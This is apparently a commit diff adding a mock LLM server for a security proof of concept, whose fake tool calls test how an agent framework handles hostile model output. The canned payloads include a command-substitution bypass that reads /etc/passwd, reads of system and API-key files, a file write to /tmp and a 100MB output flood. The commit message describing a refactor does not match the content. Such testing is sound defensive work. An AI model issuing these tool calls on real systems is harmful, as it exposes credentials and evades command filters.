Refactor code structure for improved readability and maintainability

2026-02-04 02:15:47 +00:00
parent 56d301de3e
commit c58cea33c5
19 changed files with 5428 additions and 0 deletions
--- a/poc/mock_llm_server.py
+++ b/poc/mock_llm_server.py
@@ -0,0 +1,168 @@
+"""
+Mock LLM server that returns predefined tool calls for security testing.
+Simulates OpenAI-compatible API responses that trigger vulnerable code paths.
+"""
+
+import json
+import uuid
+from fastapi import FastAPI, Request
+from fastapi.responses import JSONResponse
+
+app = FastAPI(title="Mock LLM Server for Security POC")
+
+# Predefined responses that trigger specific vulnerabilities
+EXPLOIT_RESPONSES = {
+    "shell_injection": {
+        "model": "gpt-4",
+        "choices": [{
+            "message": {
+                "role": "assistant",
+                "content": None,
+                "tool_calls": [{
+                    "id": "call_shell_inject",
+                    "type": "function",
+                    "function": {
+                        "name": "exec",
+                        "arguments": json.dumps({
+                            "command": "echo $(cat /etc/passwd)"  # Command substitution bypass
+                        })
+                    }
+                }]
+            },
+            "finish_reason": "tool_calls"
+        }],
+        "usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
+    },
+    "path_traversal_read": {
+        "model": "gpt-4",
+        "choices": [{
+            "message": {
+                "role": "assistant",
+                "content": None,
+                "tool_calls": [{
+                    "id": "call_path_read",
+                    "type": "function",
+                    "function": {
+                        "name": "read_file",
+                        "arguments": json.dumps({
+                            "path": "/etc/passwd"
+                        })
+                    }
+                }]
+            },
+            "finish_reason": "tool_calls"
+        }],
+        "usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
+    },
+    "path_traversal_write": {
+        "model": "gpt-4",
+        "choices": [{
+            "message": {
+                "role": "assistant",
+                "content": None,
+                "tool_calls": [{
+                    "id": "call_path_write",
+                    "type": "function",
+                    "function": {
+                        "name": "write_file",
+                        "arguments": json.dumps({
+                            "path": "/tmp/poc_pwned.txt",
+                            "content": "This file was created via path traversal vulnerability"
+                        })
+                    }
+                }]
+            },
+            "finish_reason": "tool_calls"
+        }],
+        "usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
+    },
+    "sensitive_file_read": {
+        "model": "gpt-4",
+        "choices": [{
+            "message": {
+                "role": "assistant",
+                "content": None,
+                "tool_calls": [{
+                    "id": "call_sensitive_read",
+                    "type": "function",
+                    "function": {
+                        "name": "read_file",
+                        "arguments": json.dumps({
+                            "path": "/sensitive/api_keys.txt"
+                        })
+                    }
+                }]
+            },
+            "finish_reason": "tool_calls"
+        }],
+        "usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
+    },
+    "resource_exhaustion": {
+        "model": "gpt-4",
+        "choices": [{
+            "message": {
+                "role": "assistant",
+                "content": None,
+                "tool_calls": [{
+                    "id": "call_dos",
+                    "type": "function",
+                    "function": {
+                        "name": "exec",
+                        "arguments": json.dumps({
+                            "command": "yes | head -c 100000000"  # Generate 100MB output
+                        })
+                    }
+                }]
+            },
+            "finish_reason": "tool_calls"
+        }],
+        "usage": {"prompt_tokens": 10, "completion_tokens": 20, "total_tokens": 30}
+    }
+}
+
+# Current exploit mode (can be changed via API)
+current_exploit = "shell_injection"
+
+
+@app.post("/v1/chat/completions")
+async def chat_completions(request: Request):
+    """Mock OpenAI chat completions endpoint."""
+    body = await request.json()
+    
+    # Check if user message contains exploit trigger
+    messages = body.get("messages", [])
+    for msg in messages:
+        content = msg.get("content", "")
+        if isinstance(content, str):
+            for exploit_name in EXPLOIT_RESPONSES:
+                if exploit_name in content.lower():
+                    response = EXPLOIT_RESPONSES[exploit_name].copy()
+                    response["id"] = f"chatcmpl-{uuid.uuid4().hex[:8]}"
+                    return JSONResponse(response)
+    
+    # Default: return current exploit response
+    response = EXPLOIT_RESPONSES.get(current_exploit, EXPLOIT_RESPONSES["shell_injection"]).copy()
+    response["id"] = f"chatcmpl-{uuid.uuid4().hex[:8]}"
+    return JSONResponse(response)
+
+
+@app.post("/set_exploit/{exploit_name}")
+async def set_exploit(exploit_name: str):
+    """Set the current exploit mode."""
+    global current_exploit
+    if exploit_name in EXPLOIT_RESPONSES:
+        current_exploit = exploit_name
+        return {"status": "ok", "exploit": exploit_name}
+    return {"status": "error", "message": f"Unknown exploit: {exploit_name}"}
+
+
+@app.get("/exploits")
+async def list_exploits():
+    """List available exploit modes."""
+    return {"exploits": list(EXPLOIT_RESPONSES.keys())}
+
+
+@app.get("/health")
+async def health():
+    """Health check endpoint."""
+    return {"status": "healthy", "current_exploit": current_exploit}